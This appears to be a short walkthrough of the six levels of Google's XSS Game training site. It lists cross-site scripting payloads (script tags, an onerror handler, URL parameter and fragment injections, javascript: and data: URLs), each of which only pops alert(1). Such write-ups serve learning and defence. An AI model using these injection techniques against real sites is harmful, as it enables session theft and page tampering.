Google XSS Game Solutions — Writeups

These are my steps how I’ve solved the XSS Game

Level 1
This is the most obvious and easiest one. Just insert following code and you’re done:

<script>alert(1)</script>

Level 2
Since the script won’t work you’ll have to think of another tags to trigger JavaScript code execution. The first thing which came in mind was to use img tags along with the onerror attributes. Here you go:

<img src=”demo.jpg” onerror=”javascript:alert(1)”/>

Level 3
Insert this into the URL address bar and you’ll get your alert():

https://xss-game.appspot.com/level3/frame#4' onerror=’alert(1)’;

Level 4
Insert this into the URL address bar and you’ll get your alert():

https://xss-game.appspot.com/level4/frame?timer=')%3Balert(1)%3Bvar b=(‘

Level 5
Go to https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)
Insert your Mail
Click Next >>

Level 6
Insert this into the URL address bar and you’ll get your alert():
https://xss-game.appspot.com/level6/frame#data:text/javascript,alert()

and congratulations, you have finished this challenge successfully.

Follow me on Instagram